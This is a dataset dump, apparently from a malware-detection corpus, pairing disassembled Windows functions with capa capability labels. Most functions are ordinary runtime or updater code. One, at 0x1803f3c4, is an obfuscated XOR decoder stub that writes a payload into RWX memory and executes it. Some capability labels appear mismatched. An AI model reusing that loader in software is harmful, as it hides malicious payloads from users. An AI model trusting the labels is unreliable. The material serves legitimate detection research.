joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404330
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40436f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40436f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40436f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40436f
cmp dword [ecx + 0x74], 0xe
jbe 0x40436f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407aa9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0041a640
mov eax, dword [0x423940]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040c9ea
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x407aeb
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x407c47
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041a590
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x427d70]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00410042
mov ecx, dword [esi*4 + 0x427d70]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x407c40
cmp eax, dword [ecx + edi + 0x24]
jne 0x407c40
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407c40
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00410042
add esp, 0x14
test edx, edx
jl 0x407c40
jg 0x407bb6
test eax, eax
jb 0x407c40
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x407c40
jl 0x407bd0
cmp dword [ebp - 0x1008], eax
ja 0x407c40
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x407bee
test ebx, ebx
je 0x407c27
cmp ecx, edi
jae 0x407c27
mov al, byte [ecx]
cmp al, 0xd
jne 0x407c08
lea eax, [edi - 1]
cmp ecx, eax
jae 0x407c14
cmp byte [ecx + 1], 0xa
jne 0x407c14
inc ecx
jmp 0x407c14
movzx eax, al
movsx eax, byte [eax + 0x423b88]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x407bee
cmp edx, ebx
jne 0x407bee
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x407c45
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404665
leave
ret

Function at 0x40dda5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c620
push 0x41c618
push str.FlsAlloc
push 0x1f
call fcn.0040dc64
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ddd9
push dword [ebp + 8]
mov ecx, esi
call dword [0x41b120]
call esi
jmp 0x40dddf
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x4100be
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x427d70]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4100fe
cmp byte [ebx], 0xa
jne 0x4100fe
or byte [edi + eax + 0x28], 4
jmp 0x410103
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x410202
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4101e5
inc eax
cmp dl, 0xd
je 0x41012f
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x410155
cmp eax, ecx
jae 0x410163
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x410117
jmp 0x410202
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4101e0
cmp dword [ebp - 0x10], 0
je 0x4101e0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x427d70]
test byte [eax + edi + 0x28], 0x48
je 0x4101ba
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4101a5
mov byte [esi], dl
jmp 0x4101b6
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x427d70]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x410202
cmp byte [ebp - 1], 0xa
jne 0x4101c9
cmp esi, ebx
jne 0x4101c9
mov byte [esi], 0xa
jmp 0x410201
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00410060
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x410202
mov byte [esi], 0xd
jmp 0x410201
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x427d70]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4101ff
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x410202
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41020b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x427d70]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x410251
cmp word [ebx], dx
jne 0x410251
or byte [eax + edi + 0x28], 4
jmp 0x410256
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4103b9
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x410399
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x410297
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4102cd
cmp eax, edx
jae 0x4102db
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x410272
jmp 0x4103b9
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410394
cmp dword [ebp - 0x18], 0
je 0x410394
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x427d70]
test byte [eax + edi + 0x28], 0x48
je 0x41036a
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41032e
mov word [esi], cx
jmp 0x410365
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x427d70]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x427d70]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x427d70]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4103b9
pop eax
cmp word [ebp - 4], ax
jne 0x41037a
cmp esi, ebx
jne 0x41037a
mov word [esi], ax
jmp 0x4103b6
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00410060
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4103b9
push 0xd
pop eax
jmp 0x410375
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x427d70]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4103b3
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4103b9
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x18005ec8
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x18005f49
mov byte [esi + 8], 1
call fcn.1803f3c4
cmp dword [esi + 0x10], 0
je 0x18005f49
test al, al
je 0x18005ee8
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.18006587
test al, al
jne 0x18005f0f
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call fcn.1803f3c4
cmp dword [esi + 0x18], 0
jne 0x18005f36
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x18005f49
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x18006587
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x18006594
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180065cd
cmp eax, 0x80
je 0x180065cd
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x18006590
mov al, 1
pop esi
ret

Function at 0x18006f28
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x18006f5e
lea esi, [edi + 4]
test esi, esi
je 0x18006f5e
call fcn.180044de
test al, al
je 0x18006f5e
mov ecx, edi
call fcn.180044de
test al, al
je 0x18006f5e
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x18006f60
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x18009251
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_MSIExecute
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x18009286
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x180092c7
test eax, eax
jle 0x180092b5
movzx edi, ax
or edi, 0x80070000
jmp 0x180092c7
push 0x493e0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180092c0
cmp eax, 0x80
je 0x180092c0
cmp eax, 0x102
je 0x180092b9
cmp eax, 0xffffffff
je 0x180092b0
mov edi, 0x80004005
jmp 0x180092c7
call fcn.18012ae1
mov edi, eax
jmp 0x180092c7
mov edi, 0x800705b4
jmp 0x180092c7
push esi
call dword [sym.imp.kernel32.dll_ReleaseMutex]
test esi, esi
je 0x180092d2
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x18012b1f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18012b8e
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x18012b6a
push ebx
push edi
push eax
call fcn.18140600
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x18012b85
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x1801cdca
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1c]
and dword [esi + 0x1c], 0
test ecx, ecx
je 0x1801cdde
mov eax, dword [ecx]
push 1
call dword [eax]
push 0
lea ecx, [esi + 0x18]
call fcn.1803f3c4
mov ecx, dword [0x181c07a8]
pop esi
mov ecx, dword [ecx]
jmp fcn.180160a0
Function at 0x1803186f
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x180319c2
mov edx, 0x10000000
cmp eax, 0x7c
je 0x180319c2
cmp eax, 0x29
jne 0x180318a8
cmp dword [esi + 0x10], 0
jne 0x180319c2
test dword [esi + 0x50], edx
je 0x180319c8
cmp eax, 0x2e
jne 0x180318c3
push 5
lea ecx, [esi + 0x24]
call fcn.1803f3c4
mov ecx, esi
call fcn.18031846
jmp 0x180319ac
cmp eax, 0x5c
jne 0x18031918
mov ecx, esi
call fcn.18031846
test byte [esi + 0x50], 0x80
je 0x1803190c
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x180318f4
push 4
lea ecx, [esi + 0x24]
call fcn.1803f3c4
mov ecx, esi
call fcn.18031846
jmp 0x180319b3
cmp eax, 0x42
jne 0x1803190c
push 4
lea ecx, [esi + 0x24]
call fcn.1803f3c4
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x180318e8
mov ecx, esi
call fcn.180325c9
jmp 0x180319ac
cmp eax, 0x5b
jne 0x18031938
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.1803257d
cmp dword [esi + 0x4c], 0x5d
je 0x180318b7
push 4
jmp 0x180319ca
cmp eax, 0x28
jne 0x18031955
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.180326a2
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x180319c8
jmp 0x180319a1
cmp eax, 0x5e
jne 0x1803195e
push 2
jmp 0x180318e0
cmp eax, 0x24
jne 0x1803196a
push 3
jmp 0x180318e0
cmp eax, 0x2a
je 0x180319be
cmp eax, 0x2b
je 0x180319be
cmp eax, 0x3f
je 0x180319be
cmp eax, 0x7b
je 0x180319be
cmp eax, 0x7d
jne 0x18031988
test dword [esi + 0x50], edx
je 0x180319ba
cmp eax, 0x5d
jne 0x18031992
test dword [esi + 0x50], edx
je 0x18031931
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.1803f3c4
mov bl, 1
mov ecx, esi
call fcn.18031846
test bl, bl
je 0x180319b3
mov ecx, esi
call fcn.1803f3c4
mov cl, 1
jmp 0x18031876
push 6
jmp 0x180319ca
push 0xa
jmp 0x180319ca
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.1803f3c4
int3

Function at 0x1803da90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
xor edi, edi
push edi
push dword [ecx]
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1803dad3
push str.GOOGLEUPDATEAPPLICATIONCOMMANDS
push 1
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x1803dad3
push ebx
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
cmp eax, 4
jne 0x1803db01
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x1803daea
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1803db06
movzx edi, di
or edi, 0x80070000
jmp 0x1803db06
push eax
call dword [sym.imp.kernel32.dll_LockResource]
test eax, eax
jne 0x1803dafc
mov edi, 0x80070006
jmp 0x1803db06
cmp dword [eax], 1
je 0x1803db06
mov edi, 0x8000ffff
test esi, esi
je 0x1803db11
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x1803f3c4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1803f3d3
pop dword [ebp - 0x40]
mov eax, 0x2c32dab5
add eax, 0xebd1191e
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0xccff1
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x8d8a2213
sub ecx, 0x8d89c891
xor esi, esi
add esi, eax
mov edi, 0x55af3cc9
add edi, 0xc26ee937
add edi, dword [ebp - 0x40]
mov edx, 0xb072a6aa
mov dword [ebp - 0x10], 0x82bd19ab
mov ebx, dword [edi]
xor dword [ebp - 0x14], eax
xor ebx, edx
sub dword [ebp - 0x30], esi
mov dword [esi], ebx
sub dword [ebp - 0x30], ecx
add esi, 0xe5e022cb
sub esi, 0xe5e022c7
add edi, 0x2f673e7f
add edi, 0xd098c185
loop 0x1803f429
add eax, 0x32cb30eb
add eax, 0xcd3627f0
xor ebx, ebx
add ebx, eax
add eax, 0xafa99dc
sub eax, 0xafa99d7
mov ecx, 0xba3e2029
sub ecx, 0xa23e2029
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x18081df3
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
mov ebx, dword [edi]
test bl, bl
je 0x18081e68
test bl, 1
je 0x18081e0e
lea ecx, [esi + 0x14]
call fcn.1804fc74
test bl, 2
je 0x18081e1b
mov ecx, dword [esi + 0x18]
call fcn.18056c8b
test bl, 4
je 0x18081e28
mov ecx, dword [esi + 0x1c]
call fcn.180d29b0
test bl, 8
je 0x18081e35
mov ecx, dword [esi + 0x20]
call fcn.1803f3c4
test bl, 0x10
je 0x18081e42
mov ecx, dword [esi + 0x24]
call fcn.1805d433
test bl, 0x20
je 0x18081e4f
mov ecx, dword [esi + 0x28]
call fcn.1805d433
test bl, 0x40
je 0x18081e5c
mov ecx, dword [esi + 0x2c]
call fcn.180730e9
test bl, bl
jns 0x18081e68
mov ecx, dword [esi + 0x30]
call fcn.180d29b0
test ebx, 0xff00
je 0x18081ef4
test ebx, 0x100
je 0x18081e84
mov ecx, dword [esi + 0x34]
call fcn.1805581d
test ebx, 0x200
je 0x18081e94
mov ecx, dword [esi + 0x38]
call fcn.1807376b
test ebx, 0x400
je 0x18081ea4
mov ecx, dword [esi + 0x3c]
call fcn.18074298
test ebx, 0x800
je 0x18081eb4
mov ecx, dword [esi + 0x40]
call fcn.18074298
test ebx, 0x1000
je 0x18081ec4
mov ecx, dword [esi + 0x44]
call fcn.1803f3c4
test ebx, 0x2000
je 0x18081ed4
mov ecx, dword [esi + 0x48]
call fcn.180551ff
test ebx, 0x4000
je 0x18081ee4
mov ecx, dword [esi + 0x4c]
call fcn.180551ff
test ebx, 0x8000
je 0x18081ef4
mov ecx, dword [esi + 0x50]
call fcn.180d29b0
test ebx, 0xff0000
je 0x18081f80
test ebx, 0x10000
je 0x18081f10
mov ecx, dword [esi + 0x54]
call fcn.180d29b0
test ebx, 0x20000
je 0x18081f20
mov ecx, dword [esi + 0x58]
call fcn.18076c08
test ebx, 0x40000
je 0x18081f30
mov ecx, dword [esi + 0x5c]
call fcn.180d29b0
test ebx, 0x80000
je 0x18081f40
mov ecx, dword [esi + 0x60]
call fcn.1803f3c4
test ebx, 0x100000
je 0x18081f50
mov ecx, dword [esi + 0x64]
call fcn.1805581d
test ebx, 0x200000
je 0x18081f60
mov ecx, dword [esi + 0x68]
call fcn.180d29b0
test ebx, 0x400000
je 0x18081f70
mov ecx, dword [esi + 0x6c]
call fcn.180d29b0
test ebx, 0x800000
je 0x18081f80
mov ecx, dword [esi + 0x70]
call fcn.180d29b0
test ebx, 0xff000000
je 0x18082017
test ebx, 0x1000000
je 0x18081f9c
mov ecx, dword [esi + 0x74]
call fcn.18073ce6
test ebx, 0x2000000
je 0x18081fac
mov ecx, dword [esi + 0x78]
call fcn.180d29b0
test ebx, 0x4000000
je 0x18081fbc
mov ecx, dword [esi + 0x7c]
call fcn.1805d433
test ebx, 0x8000000
je 0x18081fcf
mov ecx, dword [esi + 0x80]
call fcn.1805ad79
test ebx, 0x10000000
je 0x18081fe2
mov ecx, dword [esi + 0x84]
call fcn.180770e7
test ebx, 0x20000000
je 0x18081ff5
mov ecx, dword [esi + 0x88]
call fcn.180d29b0
test ebx, 0x40000000
je 0x18082008
mov ecx, dword [esi + 0x8c]
call fcn.1807f075
test ebx, ebx
jns 0x18082017
mov ecx, dword [esi + 0x90]
call fcn.18056923
test byte [esi + 0xc], 1
je 0x18082028
mov ecx, dword [esi + 0x94]
call fcn.1807224e
push 8
push 0
push edi
call fcn.1813fd80
add esp, 0xc
lea ecx, [esi + 4]
test byte [ecx], 1
pop edi
pop esi
pop ebx
jne fcn.18087617
ret
Function at 0x180a2ae7
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push dword [edi + 4]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov esi, eax
mov eax, dword [edi + 8]
cmp eax, esi
je 0x180a2b12
test eax, eax
je 0x180a2b0d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, esi
test eax, eax
je 0x180a2b24
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
setne bl
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x180b4a3a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1813fd80
add esp, 0xc
mov dword [ebp - 0x20c], 0x100
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 3
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
xor ebx, ebx
inc ebx
test eax, eax
je 0x180b4aa1
push ebx
mov edx, str..google.com
lea ecx, [ebp - 0x204]
call fcn.1803f3c4
pop ecx
test al, al
jne 0x180b4ae6
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x208]
push esi
push eax
push 0x64
push 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov esi, dword [ebp - 0x208]
test eax, eax
jne 0x180b4adc
cmp dword [esi + 8], eax
je 0x180b4adc
push str.google
push dword [esi + 8]
call fcn.1803f3c4
pop ecx
pop ecx
test eax, eax
je 0x180b4ade
xor bl, bl
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop esi
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1813d268
leave
ret

Function at 0x180b95eb
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x180b95fb
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x180b9601
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x180b9629
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x1818d4f0]
test ax, ax
jne 0x180b9610
mov esi, ecx
jmp 0x180b962c
movzx esi, si
pop edi
cmp cx, si
je 0x180b9649
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x1818d4f0]
test cx, cx
jne 0x180b962d
mov eax, 0x18175bfc
jmp 0x180b9651
imul eax, edx, 0x1a
add eax, 0x1818d4f2
push eax
mov ecx, ebx
call fcn.1803f3c4
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x180c62b3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0xc]
test eax, eax
jg 0x180c616f
movzx ecx, byte [0x181c21ae]
neg ecx
sbb ecx, ecx
and ecx, 0x181c1480
je 0x180c614a
push 7
pop edx
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
mov dword [ebp - 0xc], edx
push eax
push edx
mov dword [ebp - 8], eax
call fcn.1803f3c4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push str._Google_Update_core_is_shutting_down..._
push eax
call fcn.1803f3c4
pop ecx
pop ecx
push 0
push 0
push 0x12
push dword [esi + 0x4c]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x180c616f
push 0x80004004
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
xor eax, eax
pop esi
leave
ret
push esi
mov esi, ecx
call fcn.1803f3c4
mov ecx, esi
pop esi
test al, al
je 0x180c60f9
jmp fcn.180c62cb